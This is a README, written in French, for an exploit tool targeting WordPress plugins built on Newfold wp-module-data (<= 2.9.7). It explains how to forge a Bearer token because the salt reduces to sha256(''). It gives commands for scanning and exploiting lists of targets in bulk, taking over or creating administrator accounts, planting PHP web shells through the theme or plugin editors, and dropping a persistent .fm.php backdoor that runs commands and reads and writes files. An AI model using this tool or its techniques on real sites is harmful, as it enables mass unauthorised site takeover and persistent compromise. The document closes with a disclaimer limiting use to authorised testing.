Plugins Newfold (wp-module-data <= 2.9.7) non authentifié
Contournement d'authentification non authentifié et exploit RCE ciblant les plugins WordPress Newfold qui intègrent wp-module-data.
Cet outil exploite une faille de validation de jeton Bearer dans le module Newfold wp-module-data. Lorsqu'un site WordPress utilisant un plugin Newfold affecté n'est pas connecté à Hiive, HiiveConnection::get_auth_token() retourne false. Cette valeur est passée à travers strrev() puis hachée, ce qui réduit le sel secret à la constante publique :
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Comme tous les autres composants de la charge utile hachée (méthode HTTP, URL de la requête, corps de la requête, horodatage) sont entièrement contrôlés par l'attaquant, un jeton Bearer valide peut être calculé hors ligne. Le filtre vulnérable s'exécute sur rest_authentication_errors, de sorte qu'un jeton forgé authentifie l'appelant en tant que pour l'ensemble de l'API REST WordPress, y compris les routes du cœur. Cet accès est ensuite exploité pour obtenir une exécution de code à distance complète.
| Plugin / Module | Versions affectées | Corrigé |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
La détection couvre également les slugs de plugins WordPress.org wp-plugin-web et crazy_blog.
Dans vendor/newfold-labs/wp-module-data/includes/Data.php :
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
Sur un site non connecté, strrev(false) est converti en strrev('') ce qui donne '', et le sel devient le hachage bien connu de la chaîne vide. Toutes les autres entrées de la chaîne de hachage sont contrôlées par l'attaquant, de sorte que le jeton est entièrement prévisible.
newfold-data/v1/verify/<hex>GET /wp/v2/users/me et en inspectant les rôles404.php / index.php.fm.php persistant optionnel déposé dans la racine webwp-login.php) et connexion classique par formulaire wp-login.phprequestsurllib3 (optionnel, uniquement pour supprimer les avertissements TLS)Installer les dépendances :
pip install requests urllib3
Détection en lecture seule et vérification du contournement :
python3 exploit.py -u https://target.example
Chaîne complète vers un shell persistant :
python3 exploit.py -u https://target.example --mode rce
Réinitialiser le mot de passe du premier administrateur au lieu d'en créer un nouveau :
python3 exploit.py -u https://target.example --mode rce --takeover
Vérification seule sur une liste de cibles :
python3 exploit.py --list targets.txt
Chaîne complète sur chaque hôte vulnérable (nécessite un opt-in explicite) :
python3 exploit.py --list targets.txt --mode rce --apply-rce
Pré-filtrage à l'aide de sondes de ressources statiques avant de toucher à l'API REST :
python3 exploit.py --list targets.txt --brand-filter
Arrêt après les N premiers hôtes vulnérables :
python3 exploit.py --list targets.txt --stop-after 5
Reprendre une exécution précédente :
python3 exploit.py --list targets.txt --resume
| Option | Description |
|---|---|
-u, --url | URL de base d'une cible unique |
--list | Fichier contenant une URL de cible par ligne |
--mode | check (détection seule) ou rce (chaîne complète) ; par défaut check |
--takeover | Réinitialiser le mot de passe du premier admin au lieu de créer un nouvel admin |
--output | Chemin de sortie JSONL pour le mode masse ; par défaut cve_2026_80099_results.jsonl |
--vuln-list | Liste d'URL brutes des hôtes vulnérables ; par défaut vuln.txt |
--threads | Nombre de workers pour le mode masse ; par défaut 20 |
--timeout | Délai d'expiration des requêtes en secondes ; par défaut 15 |
--fast-timeout | Délai d'expiration des sondes rapides en secondes ; par défaut 6 |
--retries | Nombre de tentatives par requête ; par défaut 1 |
--proxy | URL du proxy HTTP(S) |
--all-out | Écrire toutes les lignes de masse, pas seulement les vulnérables |
--apply-rce | Exécuter la chaîne RCE sur les hôtes vulnérables en mode masse |
--brand-filter | Pré-filtrer à l'aide des ressources statiques des plugins Newfold |
--stop-after | Arrêter l'analyse de masse après N hôtes vulnérables ; 0 signifie tout exécuter |
--quiet | Désactiver les lignes de progression par cible |
--resume | Ajouter à la sortie et ignorer les cibles déjà présentes |
Une fois un contexte administrateur confirmé, l'outil tente trois techniques dans l'ordre :
Shell via l'éditeur de thème — écrit une petite charge utile PHP dans le 404.php ou index.php du thème actif. La charge utile est déclenchée en demandant une URL inexistante (pour 404.php) ou la racine du site (pour index.php).
Shell via téléversement de plugin — construit un ZIP contenant un plugin minimal, le téléverse via wp-admin/update.php?action=upload-plugin, et accède directement au fichier PHP du plugin.
Chaîne via l'éditeur de plugin inactif — liste les plugins via l'API REST, sélectionne un plugin inactif, écrit un cmd-shell dans son fichier principal via plugin-editor.php, l'active via PUT /wp/v2/plugins/<slug>, déclenche le shell sur n'importe quelle URL frontend, dépose .fm.php dans la racine web, puis désactive le plugin et restaure le fichier d'origine. Ce chemin est conçu pour survivre aux hôtes qui bloquent l'éditeur de thème, bloquent l'accès direct à wp-content, ou annulent les modifications via des contrôles de santé en boucle locale.
En cas de succès, un gestionnaire de fichiers .fm.php persistant est déposé dans la racine web. Il prend en charge :
?cmd=<shell command>?cat=<path> pour lire un fichier?put=<path>&data=<base64> pour écrire un fichier?ls=<path> pour lister un répertoirecve_2026_80099_results.jsonl — enregistrements JSONL pour chaque cible analysée. Les entrées vulnérables incluent vuln: true, admin, admin_id, et, lorsque la RCE réussit, shell (l'URL du gestionnaire de fichiers ou du shell déposé).vuln.txt — une URL brute par ligne pour chaque cible vulnérable ou shellée.trust_env = False afin d'éviter de divulguer les analyses de masse via des proxys locaux.Url::getCurrentUrl(). La requête est préparée en premier et le jeton est dérivé de l'URL préparée.json_encode, y compris les barres obliques échappées, l'échappement non-ASCII \uXXXX, et les paires de substitution UTF-16 pour les caractères astraux, de sorte que la charge utile hachée corresponde octet par octet.401 signifie généralement que la cible est corrigée (module >= 2.9.8), que le site est connecté à Hiive (jeton réel, sel inconnu), ou qu'un intermédiaire supprime l'en-tête Authorization. 403 indique généralement qu'un autre filtre rest_authentication_errors est intervenu.Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et de recherche. Utilisez-le exclusivement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions et peut entraîner de lourdes sanctions civiles et pénales. L'auteur n'assume aucune responsabilité pour une mauvaise utilisation ou des dommages causés par ce logiciel.